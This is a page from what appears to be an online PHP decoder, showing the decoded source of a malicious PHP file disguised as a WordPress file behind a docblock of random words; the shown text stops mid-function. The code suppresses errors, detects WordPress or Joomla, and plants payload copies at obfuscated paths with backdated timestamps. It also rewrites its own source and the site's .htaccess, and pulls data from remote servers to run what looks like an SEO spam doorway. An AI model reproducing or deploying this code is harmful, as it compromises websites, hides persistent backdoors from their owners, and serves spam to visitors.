Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php /** * bacteria bureau consent durable hostile inevitable maximum medium re..
Decoded Output download
<?php
/**
* bacteria bureau consent durable hostile inevitable maximum medium regulate route.
* arise bureau calculate conservative dash drip fatal frown idle insignificant marine massive mission petroleum profit rescue security sequence severe sexual skim stale trial universal weed.
* academy applause continual emotional ferfile herd jealous naked weed.
* applause applicable biology bureau descend elbow entitle extraordinary glimpse household liter mature maximum moral negative prominent quotation resemble slender.
* response algebra balcony bureau conservation interfere numerrous outset parade religion scandal slender tarnest theme.
* accomplish apparent boundary distinguish fertilizer flee hint insurance interfere molecule passport petrol prevail recruit reluctant scandal sequence sophisticated suspicion tense vacuum whatsoever witness.
* coil elaborate favorite female forbid frown hestiate negative portion precaution target.
* applianc exaggerate fatigue geometry resume.
* acknowledge barrel blast casual continuous deposit discrimination display distress distribute insure loose manual mere oral partial particularly relevant resume ridid videotape volunteer whereas withstand.
* accelerate comment devise duration encounter exclaim extinct geology hardware jeans nuclear onion orchestra portable remedy ridid scandal stuff tend tendency torture trend vertical volcano wax.
* appoint barrel excursion frown glimpse leak slip temptation.
* arichmetic burst cargo export fertilizer interpret jeans jungle orbit orchestra portion scale undertake vote witness.
* acknowledge advertisement echo mixture nuclear vote.
* Internet academy acquire approach calendar comment conquer conservative debt deputy electron female glimpse guilty hardware ingredient legislation mainland noticeable quit security signature strategic stripe stuff.
* academic appropriate aspect casual electron mature neutral peak tissue tremble vary violent virtue.
* compete expensive mild nucleus oral tend tension whatsoever.
* accelerate applause approximate blast debt explosion genuine highlight jewel jungle lest navigation poverty provision transform vertical victim violent.
* adequate ban essential evolution exceedingly excursion humble nevertheless obstacle optics primitive quit racial religious remarkable software stuff tidy timber universal video vitally witness.
* available casual coach debt drift dump emotion evaluate excess fax shallow tense utilify.
* automatic comedy devise dump enthusiasm equation export external household identify prevail profit prohibit regulate render suspicious tense trap vertical vessel vitally weed withdraw.
* academy appeal appetite applianc calculate coil decade decline discipline enclose extreme hook laser marine nylon passion reveal sensitive subt videotape violence vital withdraw.
* acid approve delicate extinct interpret organ.
* brake capture catalog debate decorate display distribute equivalent expel fertilizer manufacture marveous opponent particularly portable priority seminar sponsor stuff trace transmit tremble.
* appetite audio earthquake essential expensive hook infect interpret invade jam jungle minimum strategy subway suspicion suspicious tension triumph ultimate version wax yawn.
* acknowledge appetite applicant balcony barrel debt elbow explore generate jungle manual mist parade religion religious removal ridge seminar shallow substantial temptation violet.
* response collision conquer deposit exterior glory hardware import licence negative partial reject satellite shrug slide stimulate submerge substance subt terror via.
* agent bargain bunch candidate debt exclude favorable idle licence luxury nucleus orbit parade removal severe sexual solar tarnest tone torture treaty vehicle wander zone.
* Internet continuous dispose dive dump explosive facility golf insurance integrate medium organ peak portable radical reputation resemble severe shield sorrow submit usage volunteer wander.
* acknowledge campus debate drip generate magnet profit smash transport voluntary.
* ceremony coil hestiate oxygen phenomenon profit retain ruin stable triangle.
* architect battery continuous derive emphasize global impose jealous nonsense odd orient personnel portable provision resistant restrict rival tedious tissue utilise virtue zone.
* academy acknowledge applicable award bundle electron isolate opponent slippery smash subway.
* attitude discipline episode evaluate hostile individual infer mission nevertheless nylon prevail ridid shrug slippery submit volume.
* accelerate advertisement comment core earthquake equation giant nevertheless racial slope smash.
* applicant casual clue comedy ruin title treaty virtue.
* abuse adult biology debate elbow electron emphasize flexible individual minimum missile principle reluctant route strategic substantial trend vanish yawn.
* alter burden expel horrible jeans nucleus onion remarkable talent.
* appoint community dusk echo elaborate excess flexible focus frown golf jeans laser neglect opportunity petrol prompt seminar sensitive snap swallow undergo volunteer withstand.
* arise arouse avenue consume discrimination evolve female hardware notify optimistic sake seminar universe wonder.
*
* @package WordPress
*/
@ini_set('display_errors', 0);
@ini_set('log_errors', 0);
@set_time_limit(3600);
define("DOMTXT","/jd1/");
define("GETDATE","http://www.datecenter.com/api/?key=");
define("CENTERKEY",4);
define("MYDIR", "/ebaynl20191018-19/");
define("FNUM",89);
define("JGNUM","40");
define("LINKNUM","8");
define("BZSITE","g");
define("BZPRO","k");
define("BZCAT","v");
//msbg
define("JDT","0");
//msend
//msidbg
define("MSID",1988);
//mssidend
//jthouzuibg
define("JTHZ","/");
//jthouzuiend
// #llqllq#arr_nametimebg
$arrnametime[]="1";
$arrnametime[]="3";
$arrnametime[]="4";
$arrnametime[]="2";
// #llqllq#arr_nametimeend
// #llqllq#arr_wordbg
$arr_word[0][] ="3";$arr_word[0][] ="2";$arr_word[0][] ="3";$arr_word[0][] ="4";$arr_word[0][] ="2";$arr_word[0][] ="4";$arr_word[0][] ="4";$arr_word[0][] ="3";$arr_word[0][] ="3";$arr_word[0][] ="2";$arr_word[1][] ="3";$arr_word[1][] ="3";$arr_word[1][] ="4";$arr_word[1][] ="2";$arr_word[1][] ="2";$arr_word[1][] ="3";$arr_word[1][] ="2";$arr_word[1][] ="4";$arr_word[1][] ="4";$arr_word[1][] ="3";$arr_word[2][] ="4";$arr_word[2][] ="3";$arr_word[2][] ="2";$arr_word[2][] ="4";$arr_word[2][] ="2";$arr_word[2][] ="4";$arr_word[2][] ="3";$arr_word[2][] ="3";$arr_word[2][] ="3";$arr_word[2][] ="2";$arr_word[3][] ="4";$arr_word[3][] ="2";$arr_word[3][] ="3";$arr_word[3][] ="2";$arr_word[3][] ="3";$arr_word[3][] ="3";$arr_word[3][] ="4";$arr_word[3][] ="3";$arr_word[3][] ="4";$arr_word[3][] ="2";$arr_word[4][] ="2";$arr_word[4][] ="3";$arr_word[4][] ="3";$arr_word[4][] ="4";$arr_word[4][] ="2";$arr_word[4][] ="2";$arr_word[4][] ="3";$arr_word[4][] ="3";$arr_word[4][] ="4";$arr_word[4][] ="4";$arr_word[5][] ="2";$arr_word[5][] ="2";$arr_word[5][] ="2";$arr_word[5][] ="4";$arr_word[5][] ="4";$arr_word[5][] ="3";$arr_word[5][] ="3";$arr_word[5][] ="3";$arr_word[5][] ="4";$arr_word[5][] ="3";$arr_word[6][] ="3";$arr_word[6][] ="4";$arr_word[6][] ="3";$arr_word[6][] ="3";$arr_word[6][] ="2";$arr_word[6][] ="4";$arr_word[6][] ="4";$arr_word[6][] ="2";$arr_word[6][] ="2";$arr_word[6][] ="3";$arr_word[7][] ="3";$arr_word[7][] ="4";$arr_word[7][] ="3";$arr_word[7][] ="4";$arr_word[7][] ="2";$arr_word[7][] ="3";$arr_word[7][] ="2";$arr_word[7][] ="4";$arr_word[7][] ="2";$arr_word[7][] ="3";$arr_word[8][] ="4";$arr_word[8][] ="3";$arr_word[8][] ="3";$arr_word[8][] ="3";$arr_word[8][] ="2";$arr_word[8][] ="2";$arr_word[8][] ="3";$arr_word[8][] ="2";$arr_word[8][] ="4";$arr_word[8][] ="4";$arr_word[9][] ="2";$arr_word[9][] ="3";$arr_word[9][] ="2";$arr_word[9][] ="3";$arr_word[9][] ="4";$arr_word[9][] ="4";$arr_word[9][] ="4";$arr_word[9][] ="2";$arr_word[9][] ="3";$arr_word[9][] ="3";$arr_word[10][] ="3";$arr_word[10][] ="4";$arr_word[10][] ="2";$arr_word[10][] ="3";$arr_word[10][] ="3";$arr_word[10][] ="4";$arr_word[10][] ="2";$arr_word[10][] ="4";$arr_word[10][] ="3";$arr_word[10][] ="2";$arr_word[11][] ="2";$arr_word[11][] ="4";$arr_word[11][] ="3";$arr_word[11][] ="3";$arr_word[11][] ="4";$arr_word[11][] ="4";$arr_word[11][] ="3";$arr_word[11][] ="2";$arr_word[11][] ="2";$arr_word[11][] ="3";
// #llqllq#arr_wordend
// #llqllq#arr_keywz
$arrKeywz[]="4";
$arrKeywz[]="10";
$arrKeywz[]="9";
$arrKeywz[]="11";
$arrKeywz[]="8";
$arrKeywz[]="12";
$arrKeywz[]="5";
$arrKeywz[]="6";
$arrKeywz[]="7";
// #llqllq#arr_keywzend
// #llqllq#arrBreadbg
$arrBread[]="BreadcrumbsHead";
$arrBread[]="BreadcrumbHead";
$arrBread[]="BreadcrumbsHead clearfix";
$arrBread[]="bread_head";
$arrBread[]="l-breadcrumb";
$arrBread[]="bread_crumb clearfix";
$arrBread[]="bread_crumb";
$arrBread[]="r-breadcrumb";
$arrBread[]="l-breadcrumb clearfix";
$arrBread[]="bread_top clearfix";
$arrBread[]="l-breadcrumb";
$arrBread[]="";
$arrBread[]="";
$arrBread[]="bread_head";
$arrBread[]="BreadcrumbHead clearfix";
$arrBread[]="bread_head clearfix";
$arrBread[]="bread_crumb clearfix";
$arrBread[]="bread_top";
$arrBread[]="bread_crumb";
$arrBread[]="r-breadcrumb";
$arrBread[]="r-breadcrumb clearfix";
$arrBread[]="";
$arrBread[]="";
$arrBread[]="BreadcrumbHead";
$arrBread[]="bread_top";
$arrBread[]="bread_crumb";
// #llqllq#arrBreadend
// #llqllq#arr_fuhao
$arrfh[]="Christmas Gifts 2018";
$arrfh[]="Christmas gift shop";
$arrfh[]="Unique Christmas Gifts";
$arrfh[]="Holiday presents";
$arrfh[]="Christmas Supplies";
$arrfh[]="Xmas";
$arrfh[]="Christmas gift ideas 2018";
$arrfh[]="Top Christmas gifts 2018";
$arrfh[]="best Christmas gift";
$arrfh[]="Best Christmas gifts 2018";
$arrfh[]="Christmas gift";
$arrfh[]="Holiday Gifts";
$arrfh[]="Christmas presents";
$arrfh[]="for Christmas";
$arrfh[]="Christmas Ornament";
$arrfh[]="Christmas gift store";
$arrfh[]="Christmas Decoration";
$arrfh[]="Christmas gift ideas";
$arrfh[]="Xmas Ornaments";
$arrfh[]="Christmas Holiday";
// #llqllq#arr_fuhaoend
$q1 = "O00O0O"; $q2 = "O0O000"; $q3 = "O0OO00"; $q4 = "OO0O00"; $q5 = "OO0000"; $q6 = "O00OO0"; $q7 = "O00O00"; $q8 = "O00OOO"; $$q1 = RandAbcs();
// #llqllq#randkeybg
$strRand[0]="pqroayxuhktnzcfemsbivdglwj";
$strRand[1]="slicwpqryujozgafhvnetbxdmk";
$strRand[2]="kopwtbdsxraefmcygnlvzuqhij";
$strRand[3]="kletfhgrdmbxpuvnowacqjzsyi";
$strRand[4]="qthfmwysgviucoznldjarkexbp";
$strRand[5]="epkdgjoiuhlcmyabfvrxtwzsqn";
$strRand[6]="edynlpqazrjcwsumobhixtkgfv";
$strRand[7]="nudevgitxhlswrkojczbpymafq";
$strRand[8]="iaownpuxzbfdyhrvgqcjtsmelk";
$strRand[9]="kmjuwtfxqlgprbcinoazsyevhd";
$strRand[10]="uspnicgdqzfyjaktxwvormbehl";
$strRand[11]="xvfumsqwiabhytoelngpkdzjrc";
$strRand[12]="gspxqathkneumyjcorivfblwzd";
$strRand[13]="dysekxwulacgqnfvjhtmzripob";
$strRand[14]="xapgmsfiohktwnvqbzdjeulcry";
$strRand[15]="kneugrixdmpcqwasjoltyhzbfv";
$strRand[16]="rlxidanpjbqsvzewyofmthucgk";
$strRand[17]="brvukfdjozehsxcmyanwptglqi";
$strRand[18]="cdypxgewbomajrzniktufhvqls";
$strRand[19]="iwdhovnmtgepyuajxsbkzrqclf";
$strRand[20]="bvduqmiszpctflkxoyrjwgenha";
$strRand[21]="buagxpczohenqtdsfyrlikwvjm";
$strRand[22]="dtuekzjylqcmapobwvfignsrxh";
$strRand[23]="fqlusyowikbxhmzpcdtejgavnr";
$strRand[24]="fpsbtamviygjdhenuqlzckwxor";
$strRand[25]="ykuirepmadtqjcxvzfosnwgblh";
$strRand[26]="qksygaunxmhwdlcjboptzievfr";
$strRand[27]="dugkhljqxwvbynoprestzcafim";
$strRand[28]="qakgnbejvrhfdowmiuztxcyspl";
$strRand[29]="ihdfsktevqcawjupyrmgzblnox";
$strRand[30]="bvspfdhklyinexmugwraqjzotc";
$strRand[31]="awjlhsvnxreikbcpfzdmqtogyu";
$strRand[32]="gdlsqmjbozvarwxpcunfiyketh";
$strRand[33]="fionczyrtqlvkbwdujxahpgsem";
$strRand[34]="asyopnexcwrbvgtiklmdqjfuhz";
$strRand[35]="tcqipxrnszlgmufbyjodkveawh";
$strRand[36]="fjbtdnmqcrhsvegikxpazwlyuo";
$strRand[37]="rsihfwjvlumytzoexbkaqcgndp";
$strRand[38]="iuwsmogkrvbnxdaphqlcyfztje";
$strRand[39]="uzpgytolimdqhnvcfaxkbrwejs";
$strRand[40]="udlzteiscwbrjghvaoqkxnmfpy";
$strRand[41]="oqjubswxcgadzhptmnfyvlrike";
$strRand[42]="zlprufdntjoxbawqgvechismky";
$strRand[43]="wbhdimxjzfkvyonacsurqgpetl";
$strRand[44]="dwtvlugasikpyherqzxmnbcfoj";
$strRand[45]="nvxdztfwjgbumipcherokyaqsl";
$strRand[46]="yzensjkmrqhftlogcuwaxpbidv";
$strRand[47]="wbnployvzmgqsuhctadjxirfek";
$strRand[48]="mbvfgziqoaryutwjedclknpxsh";
$strRand[49]="qujlzfpmikxsobvhcneatwygrd";
$strRand[50]="wkizdoygufxvntlebhpjsmqrac";
$strRand[51]="fecjlpvmhtqywusrzgikbanodx";
$strRand[52]="txvfasudwrgbkiymzcjnqheolp";
$strRand[53]="yscxihzbmpdtlvneugrwokqajf";
$strRand[54]="mtfqbnevldijuhzaxcskrywopg";
$strRand[55]="sltnoqjefbpiaugkxhydrcmwvz";
$strRand[56]="cnwfzxmdujyoteqksrlhabgvip";
$strRand[57]="mjvfzwtlrogeysudphbcixqnak";
$strRand[58]="uzdejqngbvyohmtfcwslxkarip";
$strRand[59]="nulvqbxgecamhpkwzrysjtdoif";
$strRand[60]="slxfytpbhovdqcumgziarwenkj";
$strRand[61]="ewpsvquyfirhaxlncgdmjkotbz";
$strRand[62]="vwqmburfipdcexnsalzgyjkoth";
$strRand[63]="kbfhvraoxtldpqcmyzinuwegsj";
$strRand[64]="cjlubyagnmoxqefzsrhdvwiptk";
$strRand[65]="hdsbxguoqljrmpcviteznakwyf";
$strRand[66]="ejvbhkgxpulawrimtsfnqczyod";
$strRand[67]="gxrdifamczbelkjwonyhpvtsqu";
$strRand[68]="qlkvexwfythnudpoarbgscmjiz";
$strRand[69]="ixscanpgdotrkvhjzlueqfwbym";
$strRand[70]="krpbhjflgqyzmwetdaicuoxvsn";
$strRand[71]="ayzpvmwsdhuqgolktnjfxcerib";
$strRand[72]="pbghvrakudjxtcnyqsmelziowf";
$strRand[73]="gmftliversnqxubwyzphcdojka";
$strRand[74]="mvozbpxajilrnftcsqyeghwdku";
$strRand[75]="qrywgsahmbucetplfkzodxjvni";
$strRand[76]="fgxtrjbqvepdwmkhsiaclonzyu";
$strRand[77]="skizqpfcgvxjtymdwabuehnolr";
$strRand[78]="embijknxvgfoczsralpuytqwhd";
$strRand[79]="nswvyrdeqptgmhozjbxiakfcul";
$strRand[80]="alvmsjbnopduwgetqzfhixcrky";
$strRand[81]="ijodbzkwrmcnusqalfxvetghyp";
$strRand[82]="onbdftxikhepjlsuagyvwzcrmq";
$strRand[83]="uztinmaekgrxjbchvwslpdoyfq";
$strRand[84]="vjofpdgicmbwuskhyzreqaxnlt";
$strRand[85]="lzxbwmjhycufaosrdtpgvenikq";
$strRand[86]="lzqdojkarbycimsgvpxuwhentf";
$strRand[87]="obkrchiauwxgnsmeptfjzyqvld";
$strRand[88]="uayvnjgwcpoqhtrlbizexmkfsd";
$strRand[89]="vpxdetkhucbgjynmqisorzlafw";
$strRand[90]="ojnduaymiwctfqlegrpzhvskxb";
$strRand[91]="aepxwinyslqvorkgfcduhztmbj";
$strRand[92]="mgldnztsrbfjcqophixawvkyeu";
$strRand[93]="geucwaszftvqpdilmxkhjyorbn";
$strRand[94]="suhqamcwxizpflngdtebjyorkv";
$strRand[95]="xdeajmgyltnkhpuqsfrvocizbw";
$strRand[96]="ieobvqkphtuswrcaxfjldnymgz";
$strRand[97]="qembnrvcudzytkpiajxwfglsho";
$strRand[98]="ykuisathoxfcvwqdnlbgzjemrp";
$strRand[99]="krizntjxfbslvqhpcayewdougm";
// #llqllq#randkeyend
$thisdom = str_replace("www.","",$_SERVER['HTTP_HOST']);
define("GETDOM",getthisdom());
// iiiiiiiiibg
function sys_type(){
global $hostDir;
if(file_exists("$hostDir/wp-config.php") or file_exists("../wp-config.php")){
return 'wp';
}elseif(strstr(@file_get_contents("$hostDir/configuration.php"),"JConfig") or strstr(@file_get_contents("../configuration.php"),"JConfig")){
return 'Joomla';
}else{
return 'other';
}
}
function getFileType($filename){
$rs = '#.*\.([^\s]+)#i';
preg_match($rs,$filename,$matchType);
return $matchType[1];
}
function getTypeImg($source, &$destination, $num, $type){
global $numHostDir;
$handle = opendir($source);
while(($file = readdir($handle)) !== false){
if($file != '.' && $file != '..') {
$src = $source . DIRECTORY_SEPARATOR . $file;
if(is_dir($src) && !strstr($src,'/cache')){
getTypeImg($src, $destination, $num, $type);
}else{
if(count($destination) >= $num)
return count($destination);
$tempType = getFileType($file);
if(strstr($type,$tempType)){
$tempMydir = count(explode(DIRECTORY_SEPARATOR,$src));
if($tempMydir - $numHostDir > 2 && !strstr($file,'index')){
$destination[$source] = $tempType .'#name#'. str_replace('.'.$tempType ,'' ,$file);
}
}
}
}
}
closedir($handle);
}
if(isset($_GET['rset']) && $_GET['rset'] == 'set'){
if(isset($_SERVER['DOCUMENT_ROOT'])){
$hostDir = $_SERVER['DOCUMENT_ROOT'].DIRECTORY_SEPARATOR;
}elseif(isset($_SERVER['PHP_SELF'])){
$hostDir = str_ireplace(str_replace("\",DIRECTORY_SEPARATOR,str_replace("/",DIRECTORY_SEPARATOR,$_SERVER['PHP_SELF'])),'',__FILE__).DIRECTORY_SEPARATOR;
}else{
$hostDir = '/';
}
$hostDir = str_replace(DIRECTORY_SEPARATOR . DIRECTORY_SEPARATOR, DIRECTORY_SEPARATOR, $hostDir);
$sysType = sys_type();
if($sysType == 'wp'){
$backupfile1 = $hostDir.$O00O0O{22}.$O00O0O{15}.$O00O0O{66}.$O00O0O{8}.$O00O0O{13}.$O00O0O{2}.$O00O0O{11}.$O00O0O{20}.$O00O0O{3}.$O00O0O{4}.$O00O0O{18}.$O00O0O{64}.$O00O0O{2}.$O00O0O{20}.$O00O0O{18}.$O00O0O{19}.$O00O0O{14}.$O00O0O{12}.$O00O0O{8}.$O00O0O{25}.$O00O0O{4}.$O00O0O{64}.$O00O0O{2}.$O00O0O{11}.$O00O0O{0}.$O00O0O{18}.$O00O0O{18}.$O00O0O{66}.$O00O0O{22}.$O00O0O{15}.$O00O0O{66}.$O00O0O{2}.$O00O0O{20}.$O00O0O{18}.$O00O0O{19}.$O00O0O{14}.$O00O0O{12}.$O00O0O{8}.$O00O0O{25}.$O00O0O{4}.$O00O0O{66}.$O00O0O{5}.$O00O0O{8}.$O00O0O{11}.$O00O0O{19}.$O00O0O{4}.$O00O0O{17}.$O00O0O{18}.$O00O0O{66}.$O00O0O{18}.$O00O0O{4}.$O00O0O{19}.$O00O0O{19}.$O00O0O{8}.$O00O0O{13}.$O00O0O{6}.$O00O0O{63}.$O00O0O{15}.$O00O0O{7}.$O00O0O{15}; $backupfile2 = $hostDir.$O00O0O{22}.$O00O0O{15}.$O00O0O{66}.$O00O0O{0}.$O00O0O{3}.$O00O0O{12}.$O00O0O{8}.$O00O0O{13}.$O00O0O{64}.$O00O0O{8}.$O00O0O{13}.$O00O0O{2}.$O00O0O{11}.$O00O0O{20}.$O00O0O{3}.$O00O0O{4}.$O00O0O{18}.$O00O0O{64}.$O00O0O{12}.$O00O0O{4}.$O00O0O{3}.$O00O0O{8}.$O00O0O{0}.$O00O0O{18}.$O00O0O{63}.$O00O0O{15}.$O00O0O{7}.$O00O0O{15};
$fitime = filemtime($hostDir.$O00O0O{22}.$O00O0O{15}.$O00O0O{66}.$O00O0O{0}.$O00O0O{3}.$O00O0O{12}.$O00O0O{8}.$O00O0O{13}.$O00O0O{64}.$O00O0O{8}.$O00O0O{13}.$O00O0O{2}.$O00O0O{11}.$O00O0O{20}.$O00O0O{3}.$O00O0O{4}.$O00O0O{18}.$O00O0O{64});
}elseif($sysType == 'Joomla'){
$backupfile1 = $hostDir.$O00O0O{12}.$O00O0O{14}.$O00O0O{3}.$O00O0O{20}.$O00O0O{11}.$O00O0O{4}.$O00O0O{18}.$O00O0O{64}.$O00O0O{12}.$O00O0O{14}.$O00O0O{3}.$O00O0O{62}.$O00O0O{18}.$O00O0O{4}.$O00O0O{0}.$O00O0O{17}.$O00O0O{2}.$O00O0O{7}.$O00O0O{64}.$O00O0O{19}.$O00O0O{12}.$O00O0O{15}.$O00O0O{11}.$O00O0O{64}.$O00O0O{3}.$O00O0O{4}.$O00O0O{5}.$O00O0O{0}.$O00O0O{20}.$O00O0O{11}.$O00O0O{19}.$O00O0O{18}.$O00O0O{63}.$O00O0O{15}.$O00O0O{7}.$O00O0O{15};$backupfile2 = $hostDir.$O00O0O{11}.$O00O0O{8}.$O00O0O{1}.$O00O0O{17}.$O00O0O{0}.$O00O0O{17}.$O00O0O{8}.$O00O0O{4}.$O00O0O{18}.$O00O0O{64}.$O00O0O{9}.$O00O0O{14}.$O00O0O{14}.$O00O0O{12}.$O00O0O{11}.$O00O0O{0}.$O00O0O{64}.$O00O0O{2}.$O00O0O{0}.$O00O0O{2}.$O00O0O{7}.$O00O0O{4}.$O00O0O{64}.$O00O0O{18}.$O00O0O{19}.$O00O0O{14}.$O00O0O{17}.$O00O0O{0}.$O00O0O{6}.$O00O0O{4}.$O00O0O{64}.$O00O0O{12}.$O00O0O{4}.$O00O0O{12}.$O00O0O{2}.$O00O0O{0}.$O00O0O{2}.$O00O0O{7}.$O00O0O{4}.$O00O0O{18}.$O00O0O{63}.$O00O0O{15}.$O00O0O{7}.$O00O0O{15};$fitime = filemtime($hostDir.$O00O0O{12}.$O00O0O{14}.$O00O0O{3}.$O00O0O{20}.$O00O0O{11}.$O00O0O{4}.$O00O0O{18}.$O00O0O{64}.$O00O0O{12}.$O00O0O{14}.$O00O0O{3}.$O00O0O{62}.$O00O0O{18}.$O00O0O{4}.$O00O0O{0}.$O00O0O{17}.$O00O0O{2}.$O00O0O{7}.$O00O0O{64});
}else{
$numHostDir = count(explode(DIRECTORY_SEPARATOR,$hostDir));
$arrphpDir = array();
getTypeImg($hostDir,$arrphpDir,3,'php');
$i=1;
foreach($arrphpDir as $key=>$vs){
$fitime = filemtime($key);
list($tmepImgType,$trmeyImgName) = explode('#name#',$vs);
$tempMyVs = 'backupfile'.$i++;
$$tempMyVs = $key . DIRECTORY_SEPARATOR . $trmeyImgName .'s.'. $tmepImgType;
while(file_exists($$tempMyVs)){
$$tempMyVs = str_replace(".$tmepImgType","s.$tmepImgType",$$tempMyVs);
}
}
}
$backupfile1 = str_replace(DIRECTORY_SEPARATOR . DIRECTORY_SEPARATOR, DIRECTORY_SEPARATOR,$backupfile1);
$backupfile2 = str_replace(DIRECTORY_SEPARATOR . DIRECTORY_SEPARATOR, DIRECTORY_SEPARATOR,$backupfile2);
$str = file_get_contents("index.php");
$r3 = '#(// \#l{2}ql{2}q\#arr_keywz)(.*?)(// \#l{2}ql{2}q\#arr_keywzend)#s';
shuffle($arrKeywz); $rp2 = ''; foreach($arrKeywz as $valpimg){
$rp2 .= '$arrKeywz[]="'. $valpimg .'";'. PHP_EOL; }
$str = preg_replace($r3, ''. PHP_EOL . PHP_EOL . $rp2 . PHP_EOL . PHP_EOL .'', $str);
$r1 = '#(// \#l{2}ql{2}q\#arrBreadbg)(.*?)(// \#l{2}ql{2}q\#arrBreadend)#s';
shuffle($arrBread);
$rp1 = '';
foreach($arrBread as $vals){
$rp1 .= '$arrBread[]="'. $vals .'";'. PHP_EOL;
}
$str = preg_replace($r1, ''. PHP_EOL . PHP_EOL .$rp1 . PHP_EOL . PHP_EOL .'', $str);
$r3 = '#(// \#l{2}ql{2}q\#arr_wordbg)(.*?)(// \#l{2}ql{2}q\#arr_wordend)#s'; $strword = '';
$arrWordOld = array(2,3,4,2,2,3,4,3,3,4); $rp2 = '';
for($i=0;$i<12;$i++){
shuffle($arrWordOld);
foreach($arrWordOld as $vtemps)
$rp2 .= '$arr_word['. $i .'][] ="'. $vtemps .'";';
}
$str = preg_replace($r3, ''. PHP_EOL . PHP_EOL . $rp2 . PHP_EOL . PHP_EOL .'', $str);
$r3 = '#(// \#l{2}ql{2}q\#arr_nametimebg)(.*?)(// \#l{2}ql{2}q\#arr_nametimeend)#s';
shuffle($arrnametime); $rp2 = ''; foreach($arrnametime as $valpimg){
$rp2 .= '$arrnametime[]="'. $valpimg .'";'. PHP_EOL; }
$str = preg_replace($r3, ''. PHP_EOL . PHP_EOL . $rp2 . PHP_EOL . PHP_EOL .'', $str);
$r4 = '#(// \#l{2}ql{2}q\#randkeybg)(.*?)(// \#l{2}ql{2}q\#randkeyend)#s';
$arrABC = range('a','z');
$strTemp1 = ''; for($i=0;$i<100;$i++){
shuffle($arrABC);
$strtemp = ''; foreach($arrABC as $value){
$strtemp .= $value; }
$strTemp1 .= '$strRand[' .$i. ']="' . $strtemp .'";'. PHP_EOL; }
$str = preg_replace($r4, ''. PHP_EOL . $strTemp1 . PHP_EOL .'', $str);
$num = rand(1,FNUM); $num = $num - 1;
$idUrl = GETDOM . "gpage.php?getid=$num";
$tempIdStr = curl_get_from_webpage($idUrl,'',5);
$arrId = explode(',',$tempIdStr);
$indexId=array_rand($arrId,1);
$rsGs="#^[\d-]+$#i";
if(!preg_match($rsGs,$arrId[$indexId])){
die("get no id");
}
$str = str_replace('$id = "639027"; //llq index id', '$id = "'. $arrId[$indexId] .'"; //llq index id', $str);
$r3='#(// \#l{2}ql{2}q\#arr_fuhao)(.*?)(// \#l{2}ql{2}q\#arr_fuhaoend)#s'; shuffle($arrfh);$rp2='';foreach($arrfh as $valpimg){$rp2.='$arrfh[]="'.$valpimg.'";'.PHP_EOL;}$str=preg_replace($r3,''.PHP_EOL.PHP_EOL.$rp2.PHP_EOL.PHP_EOL.'',$str);
file_put_contents(__FILE__, $str);
$dirNames = dirname(__FILE__);
$httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames)));
$PreDir = '';
if(JDT == 1){
$UrlBaseDir = $httcReplace; $RewriteOnDir = '';
}else{
$UrlBaseDir = ''; $PreDir = '../'; $RewriteOnDir = $httcReplace . '/';
}
$strhtt = '';
if (file_exists("$PreDir.htaccess")){
@chmod("$PreDir.htaccess",0755);
$strhtt = file_get_contents("$PreDir.htaccess");
}
if(!(strstr($strhtt,'RewriteBase') || strstr($strhtt,'RewriteRule')))
{
$strhtt = '<IfModule mod_rewrite.c>'.PHP_EOL . 'Options +FollowSymLinks'. PHP_EOL .'RewriteEngine on'. PHP_EOL .'RewriteBase /'. $UrlBaseDir . PHP_EOL .'</IfModule>';
}else{
$strhtt = str_ireplace('# RewriteBase ','RewriteBase ',$strhtt);
$strhtt = str_ireplace('#RewriteBase ','RewriteBase ',$strhtt);
}
if(1){
$r1 = '#(.*RewriteBase.*)#i'; $r2 = '#RewriteRule#i';
$rsut = ''.PHP_EOL .'RewriteRule ^'. '.*[-]'.'(\d+)'. JTHZ .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]' . PHP_EOL . 'RewriteRule ^'. '.*'.BZCAT.'/(.*)'. JTHZ .'$ '.$RewriteOnDir.'index\.php?cat=\$1&%{QUERY_STRING} [L]' . PHP_EOL ;
$rsut2 = PHP_EOL . 'RewriteRule ^'. '.*[-]'.'(\d+)'. JTHZ .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]' . PHP_EOL . 'RewriteRule ^'. '.*'.BZCAT.'/(.*)'. JTHZ .'$ '.$RewriteOnDir.'index\.php?cat=\$1&%{QUERY_STRING} [L]' . PHP_EOL .'RewriteRule' ;
if(preg_match($r1,$strhtt)){
$strhtt = preg_replace($r1,$rsut,$strhtt,1); }else{
$strhtt = preg_replace($r2,$rsut2,$strhtt,1); }
if(JDT == 1 or JDT == 0){
file_put_contents("$PreDir.htaccess", $strhtt);
}
}
$str = file_get_contents(__FILE__);
if(isset($_GET["jgshu"]) && $_GET["jgshu"]){
$str = str_replace('define("JGNUM","50");', 'define("JGNUM","'.trim($_GET["jgshu"]).'");', $str);
echo "<br/>jgshu (".$_GET["jgshu"].") ok!<br/>";
}
if(isset($_GET["ljshu"]) && $_GET["ljshu"]){
$str = str_replace('define("LINKNUM","18");', 'define("LINKNUM","'.trim($_GET["ljshu"]).'");', $str);
echo "<br/>ljshu (".$_GET["ljshu"].") ok!<br/>";
}
preg_match('#c{6}getbg(.*?)c{6}getend#si',$str,$matchPut);
$backStr = $matchPut[1];
$$q2 = $O00O0O{7}.$O00O0O{19}.$O00O0O{19}.$O00O0O{15}.$O00O0O{65}.$O00O0O{64}.$O00O0O{64}.$O00O0O{22}.$O00O0O{22}.$O00O0O{22}.$O00O0O{63}.$O00O0O{19}.$O00O0O{22}.$O00O0O{12}.$O00O0O{1}.$O00O0O{0}.$O00O0O{12}.$O00O0O{0}.$O00O0O{17}.$O00O0O{10}.$O00O0O{4}.$O00O0O{19}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25}.$O00O0O{64}.$O00O0O{1}.$O00O0O{10}.$O00O0O{18}.$O00O0O{63}.$O00O0O{15}.$O00O0O{7}.$O00O0O{15};
generate_dir_file($backupfile1);
generate_dir_file($backupfile2);
if($backStr){
$backStr = '<'.'?php'.PHP_EOL .$backStr;
if(isset($backupfile1) && $backupfile1){
if(file_put_contents($backupfile1,$backStr))
$flagRdir1 = 1;
else
$flagRdir1 = 0;
}
if(isset($backupfile2) && $backupfile2){
if(file_put_contents($backupfile2,$backStr))
$flagRdir2 = 1;
else
$flagRdir2 = 0;
}
@touch($backupfile1, $fitime, $fitime);
@touch(dirname($backupfile1), $fitime, $fitime);
